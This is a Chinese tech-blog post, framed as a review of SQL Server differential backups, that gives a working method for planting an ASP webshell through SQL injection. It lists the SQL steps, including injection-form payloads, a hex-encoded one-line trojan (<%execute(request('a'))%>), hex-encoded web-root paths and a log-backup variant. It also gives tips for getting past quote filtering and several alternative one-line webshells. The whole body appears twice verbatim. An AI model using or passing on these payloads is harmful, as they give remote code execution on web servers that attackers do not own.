复习一下sql server的差异备份
程序员文章站
2022-05-29 13:18:41
mssql差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得...
mssql差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webshell的成功也提高了不少!
差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3c25657865637574652872657175657374282261222929253e);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' with differential,format;--
上面
0x3c25657865637574652872657175657374282261222929253e
就是一句话木马的内容:<%execute(request("a"))%>
如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006f006b0061006f002e00620061006b00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3c25657865637574652872657175657374282261222929253e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000 backup database @a to disk=@s with differential,format
0x77006f006b0061006f002e00620061006b00为wokao.bak
0x3c25657865637574652872657175657374282261222929253e是<%execute(request("a"))%>
0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================
我发现上面代码,有时会无效,而直接用
backup database 库名 to disk = 'c:\ddd.bak'
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3c25657865637574652872657175657374282261222929253e)
backup database 库名 to disk='目标位置\d.asp' with differential,format;--
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
';alter database null set recovery full--
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3c2565786563757465287265717565737428226122292
9253eda)--
';backup log null to disk = '备份路径'--
ps:0x3c2565786563757465287265717565737428226122292
9253eda 是一句话小马16进制转来的
说到一句话马,还可以有这么几种写法:
a).<%%25execute(request("a"))%%25>
b).<%execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script language=vbscript runat=server>execute request("a")</script>
e).<%25execute(request("a"))%25>
差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3c25657865637574652872657175657374282261222929253e);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' with differential,format;--
上面
0x3c25657865637574652872657175657374282261222929253e
就是一句话木马的内容:<%execute(request("a"))%>
如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006f006b0061006f002e00620061006b00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3c25657865637574652872657175657374282261222929253e)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000 backup database @a to disk=@s with differential,format
0x77006f006b0061006f002e00620061006b00为wokao.bak
0x3c25657865637574652872657175657374282261222929253e是<%execute(request("a"))%>
0x65003a005c007700650062005c0077006f006b0061006f002e00610073007000是e:\web\wokao.asp
声明:方法不是我想的,我只是写工具,默认得到shell是
<%execute(request("a"))%>
===============================================================
我发现上面代码,有时会无效,而直接用
backup database 库名 to disk = 'c:\ddd.bak'
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3c25657865637574652872657175657374282261222929253e)
backup database 库名 to disk='目标位置\d.asp' with differential,format;--
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:
';alter database null set recovery full--
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3c2565786563757465287265717565737428226122292
9253eda)--
';backup log null to disk = '备份路径'--
ps:0x3c2565786563757465287265717565737428226122292
9253eda 是一句话小马16进制转来的
说到一句话马,还可以有这么几种写法:
a).<%%25execute(request("a"))%%25>
b).<%execute(request("a"))%>
c).%><%execute request("a")%><%
d).<script language=vbscript runat=server>execute request("a")</script>
e).<%25execute(request("a"))%25>
推荐阅读
-
SQL Server中通过扩展存储过程实现数据库的远程备份与恢复
-
sql server中通过查询分析器实现数据库的备份与恢复方法分享
-
SQL Server 作业的备份(备份作业非备份数据库)
-
SQL Server 完整备份遇到的一个不常见的错误及解决方法
-
sql server 2000数据库备份还原的图文教程
-
SQL Server误区30日谈 第30天 有关备份的30个误区
-
多种SQL Server数据库备份方法的精细讲述教程
-
解决SQL SERVER数据库备份时出现“操作系统错误5(拒绝访问)。BACKUP DATABASE 正在异常终止。”错误的解决办法
-
SQL SERVER备份数据库存储过程的方法
-
sql server通过脚本进行数据库压缩全备份的方法【推荐】